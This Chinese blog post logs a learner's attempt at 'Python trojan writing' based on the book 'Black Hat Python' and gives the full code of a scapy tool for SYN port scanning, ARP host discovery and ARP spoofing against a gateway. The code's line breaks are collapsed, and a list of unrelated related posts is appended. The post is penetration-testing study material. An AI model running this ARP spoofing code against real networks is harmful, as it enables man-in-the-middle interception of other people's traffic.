Python木马编写

遇到的问题和解决办法

开始是netcat.py文件,这个文件是准备模仿一部分kali工具net cat编写的

遇到了一个问题,代码写完跑不出来,脚本带参数也没法调试,通过添加print逐一排错,发现是socket中的recv函数的阻塞问题

即有两种模式阻塞与非阻塞

阻塞模式下:当缓冲区内有数据时,立即返回所有的数据;当缓冲区内无数据时,阻塞直到缓冲区中有数据。

非阻塞模式:当缓冲区内有数据时,立即返回所有的数据;当缓冲区内无数据时,产生EAGAIN的错误并返回(在Python中会抛出一个异常)

报错如下

官方说明

远程主机强行close()

网上查了查办法貌似没啥用

但是通过这个我发现服务端没有数据传过来

找了半天原因

我也不知道这个我是怎么写出来的,淦!

不久又出现这个错误,找了很久原因

在本机可以完美运行,但是跨机就不行了,查了很多资料不行

肝了两天没结果,只得暂时放弃留作后面思考

然后使用到的模块学习netifaces

新问题

在使用arpspoof时

报错

int()函数只能转化数字组成的字符串

估计这里是mac地方出了问题

找了很久,通过添加代码发现

我的全局变量没有值,是空白的

但是我没发现原因,后面找了很久

发现我代码逻辑有点问题, 最后通过添加了一部分代码解决好的

运行过程

最后写出来个这个 ip_manager.py

来看看效果

synscan

arping

arpspoof

攻击

结果

linux

windows

完整代码

#! /usr/bin/env python
# -*- coding:utf-8 -*-import sys
import getopt
import time
import netifaces
from scapy.all import *target = ""
scan_type = ""
port = 0
gateway = ""# 帮助函数
def help_message():printprint "You can manage your ip like this:"print "      ip_manager.py -t target_ip -p port --scan_type=type"print "[*]example:python ip_manager.py -t 127.0.0.1 -p 7777 --scantype==syn_scan"printprint "-t    specify the ip you wanna scan"print print "-p    specify the port you wanna scan"printprint "-i    to get host network card information"printprint "--scan_type= specify the scan type you wanna use"printprint"scantype:[syn_scan,arp_ping,arp_spoof]"print "[*]example:python ip_manager.py -t 127.0.0.1 -p 80 --scan_type=syn_scan "# 获取本机网卡信息
def information():print "Net Card Information:"gateway = netifaces.gateways()['default'][2][0]nic_name = netifaces.gateways()['default'][2][1]for interface in netifaces.interfaces():if interface == nic_name:ip = netifaces.ifaddresses('eth0')[2][0]['addr']mac_addr = netifaces.ifaddresses('eth0')[17][0]['addr']ip_mask = netifaces.ifaddresses('eth0')[2][0]['netmask']print "Gateway:",gatewayprint "NIC Name:",nic_nameprint "NIC MAC Address:",mac_addrprint "IPV4 Address:", ipprint "IP Netmask:",ip_maskreturn mac_addr,gateway, nic_namedef main():global targetglobal scan_typeglobal portglobal gateway# 解析函数try:opts, args = getopt.getopt(sys.argv[1:], "t:s:p:hi",["target=", "scan_type=", "help","info", "port="])except Exception as e:print str(e)help_message()sys.exit(0)for opt, value in opts:if opt in ["-h", "--help"]:help_message()elif opt in ["-t", "--target"]:target = valueelif opt in ["-s","--scan_type"]:scan_type = valueelif opt in ["-p", "--port"]:port = int(value)elif opt in ["-i","--info"]:information()if scan_type == "syn_scan":syn_scan()elif scan_type == "arp_ping":arp_ping()elif scan_type == "arp_spoof":arp_spoof()# syn扫描端口
def syn_scan():global targetglobal portports = [20,21,22,23,25,69,80,81,109,389,443,1433,1521,2049,3306,3389,5432,8080,27017]if port:ans, unans = sr(IP(dst = target)/TCP(sport=RandShort(),dport=port),timeout=3)else:ans, unans = sr(IP(dst = target)/TCP(sport=RandShort(),dport=ports),timeout=3)for sent,received in ans:if received.haslayer(TCP) and str(received[TCP].flags) == "SA":print "Port " + str(sent[TCP].dport) + " of " + target + " is OPEN!"elif received.haslayer(TCP) and str(received[TCP].flags) == "RA":print "Port " + str(sent[TCP].dport) + " of " + target + " is closed!"elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":print "Port " + str(sent[TCP].dport) + " of " + target + " is filtered!"for sent in unans:print str(sent[TCP].dport) + " is unanswered!"sys.exit(0)# arp存活主机扫描
def arp_ping():global targetans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=target),timeout=3)for sent, received in ans:print received[Ether].src+"->"+received[ARP].psrc+" is alive"sys.exit(0)# arp欺骗
def arp_spoof():global targetmac_addr,gateway, nic_name=information()# 获取目标mac地址target_mac = getmacbyip(target)if target_mac is None:print("[-] Error: Could not resolve targets MAC address")sys.exit(1)print "ARP Spoofing..."# 构造响应包pkt = Ether(src=mac_addr, dst=target_mac) / ARP(hwsrc=mac_addr, psrc=gateway, hwdst=target_mac, pdst=target)while True:sendp(pkt, inter=2, iface=nic_name)if __name__ == "__main__":main()

参考

《python黑帽子编程 黑客与渗透测试编程》

参考链接

Scapy-port-scanner/port_scanner.py at master · cptpugwash/Scapy-port-scanner · GitHub

python scapy的用法之ARP主机扫描和ARP欺骗 - 雨中落叶 - 博客园

python scapy的用法之ARP主机扫描和ARP欺骗 - 雨中落叶 - 博客园

Python简单木马编写相关推荐

  1. python简单代码编写-Python | 编写一个简单的Excel处理脚本

    前段时间,温老师找我说财务处的某老师平日处理大量的Excel,很多都是机械的重复劳动,不胜其烦.和我简单说了下需求,看我能不能写个程序帮一下忙. 需求简述如下: 一个多行多列的Excel文档有一列为& ...

  2. python简单代码编写-新手写Python,8招让你的代码更简洁更Pythonic!

    Python是一门非常灵活的语言,很多语法是其他语言不具备的,特别是对于从C.Java等语言转向Python的人来说,很容易按照C.Java等语言的写法来写Python,对于初学者来说,如果对Pyth ...

  3. python简单代码编写-python读写Excel表格的实例代码(简单实用)

    安装两个库:pip install xlrd.pip install xlwt 1.python读excel――xlrd 2.python写excel――xlwt 1.读excel数据,包括日期等数据 ...

  4. 后端入门之Python实现一个简单接口编写

    最近好像要转向后端了,故想提前学习下,实现一个简单接口编写,熟悉一下编写接口的流程和框架.写这个主要是记录一下自己的学习过程,以便后面温习.在Python实现一个简单接口编写之前需要了解一些后端开发的 ...

  5. python语言编写一个生成九宫格图片的代码_python基础教程python简单实现9宫格图片实例...

    在日常生活中我们经常在朋友圈看到有人发九宫格图片,其实质就是将一张图片切成九份,然后在微信中一起发这九张图. 那么我们如何自己动手实现呢? 说到切图Python 就可以实现,主要用到的 Python ...

  6. python好学-所有人都说Python 简单易学,为何你觉得难?

    记得刚学Python的时候,几乎所有人都说Python 简单易学,而对于编程零基础,只掌握Word和Excel的人来说,感觉真的好难. 学习之前网上的教材看了,Python的书也看了,包括<核心 ...

  7. Python 工匠:编写条件分支代码的技巧

    『Python 工匠』是什么? 我一直觉得编程某种意义上是一门『手艺』,因为优雅而高效的代码,就如同完美的手工艺品一样让人赏心悦目. 在雕琢代码的过程中,有大工程:比如应该用什么架构.哪种设计模式.也 ...

  8. 编写python程序_如何进行Python程序的编写

    一.使用Python自身提供的交互式解释器 在Linux.Windows.Mac OS的命令行窗口或Shell窗口,执行python命令,启动Python交互式解释器.交互式解释器会等待用户输入Pyt ...

  9. python简单爬虫课题_VS2019python爬虫入门

    VS2019新建python项目 在vs2019中添加python编译环境 创建python控制台应用程序项目 配置python环境 安装requests第三方库 管理程序包,执行安装requests ...

最新文章

  1. 2021年大数据Hadoop(二十二):MapReduce的自定义分组
  2. LeetCode实战:买卖股票的最佳时机
  3. 搭建无人值守安装服务器(CentOS)
  4. 0-C相关01:NSlog函数介绍。
  5. [function.require]: Failed opening required 杰奇cms
  6. mac怎么设置默认浏览器 mac默认浏览器设置方法
  7. linux进程fd数量,linux – 文件描述符的数量:/ proc / sys / fs / file-nr和/ proc / $pid / fd之间有什么不同?...
  8. python基础编程语法-Python基础语法一
  9. 20145213《信息安全系统设计基础》第二周学习总结
  10. 素士科技IPO折戟,困于营销和小米
  11. java二重积分_java 版本二重积分计算
  12. 蓝桥杯学习笔记十:PWM占空比测量实验
  13. jdk7下载、安装与测试
  14. Java程序员技术书籍指南
  15. 全面了解IDC数据中心
  16. golang报错fatal error: all goroutines are asleep - deadlock
  17. mysql创建联合主键
  18. 登陆邮箱的方法有哪些?解析mail163邮箱如何误删恢复?
  19. 情人节程序员用HTML网页表白【嫦娥奔月(满屏泡泡)】 HTML5七夕情人节表白网页源码 HTML+CSS+JavaScript
  20. 玩转华为数据中心交换机系列 | 配置基于MAC地址划分VLAN示例

热门文章

  1. 220514西南科技正式赛补题
  2. IDEA快速搜索你想要的内容,例如注释...
  3. 算法总结-树(正在更新)
  4. Android 基础知识+app测试权限问题
  5. CentOS 7使用samba共享文件夹
  6. 已经建好的表添加唯一性约束、主键、外键约束
  7. B2B订货商城平台到底有什么用?
  8. Android 原生webview传递header前端H5如何接收
  9. Java设计模式系列--观察者模式(使用)
  10. oracle sql常用的函数,界别Oracle和SQL Server常用函数